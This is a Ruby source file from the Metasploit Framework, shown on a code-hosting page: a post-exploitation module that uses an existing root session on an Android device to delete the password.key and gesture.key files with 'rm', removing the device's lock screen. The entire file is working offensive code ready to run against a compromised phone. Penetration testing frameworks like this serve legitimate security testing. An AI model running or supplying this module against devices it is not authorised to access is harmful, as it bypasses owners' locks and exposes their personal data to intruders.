Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/android/manage/remove_lock_root.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Common
8
include Msf::Post::Android::Priv
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Android Root Remove Device Locks (root)',
15
'Description' => %q{
16
This module uses root privileges to remove the device lock.
17
In some cases the original lock method will still be present but any key/gesture will
18
unlock the device.
19
},
20
'Privileged' => true,
21
'License' => MSF_LICENSE,
22
'Author' => [ 'timwr' ],
23
'SessionTypes' => [ 'meterpreter', 'shell' ],
24
'Platform' => 'android',
25
'Notes' => {
26
'Stability' => [CRASH_SAFE],
27
'SideEffects' => [CONFIG_CHANGES, SCREEN_EFFECTS],
28
'Reliability' => []
29
}
30
)
31
)
32
end
33
34
def run
35
fail_with(Failure::NoAccess, 'This module requires root permissions.') unless is_root?
36
37
%w[
38
/data/system/password.key
39
/data/system/gesture.key
40
].each do |path|
41
print_status("Removing #{path}")
42
cmd_exec("rm #{path}")
43
end
44
45
print_status('Device should be unlocked or no longer require a pin')
46
end
47
end
48
49